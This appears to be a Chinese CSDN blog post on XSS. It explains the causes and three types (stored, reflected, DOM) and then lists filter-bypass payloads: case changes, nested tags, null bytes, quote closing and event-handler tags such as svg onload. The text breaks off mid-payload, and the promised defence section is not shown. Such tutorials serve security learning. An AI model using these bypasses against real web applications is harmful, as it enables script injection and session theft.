史上总结最全的xss原理绕过防御总结,收藏学习!

本文深入探讨了XSS攻击的原理、分类,详细总结了各种绕过防御的技巧,包括编码、事件利用和长度限制等,并给出了XSS防御策略,如设置HttpOnly属性、过滤特殊字符和限制输入长度等。
摘要由CSDN通过智能技术生成

xss原理#

xss产生的原因是将恶意的html脚本代码插入web页面,底层原理和sql注入一样,都是因为js和php等都是解释性语言,会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容

xss分类#

  • 存储型xss:
    js脚本代码会插入数据库,具有一定的持久性
  • 反射型xss:
    js经过后端php等语言处理
  • dom型xss:
    和反射型xss类似,但是不经过后端服务器的处理

xss绕过总结:#

自身绕过#

<script>alert('xss')</script>  //没有过滤
<Script>alert('xss')</Script> //大小写绕过
<scscriptript>alert('xss')</scscriptript> //嵌套绕过
<sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过
" oonnclick=alert('XSS') //           //闭合单双引号绕过(对于html实体输入的和过滤< >)

其他标签绕过#

<a herf="javascript:alert(1)">show</a> 
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus on
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值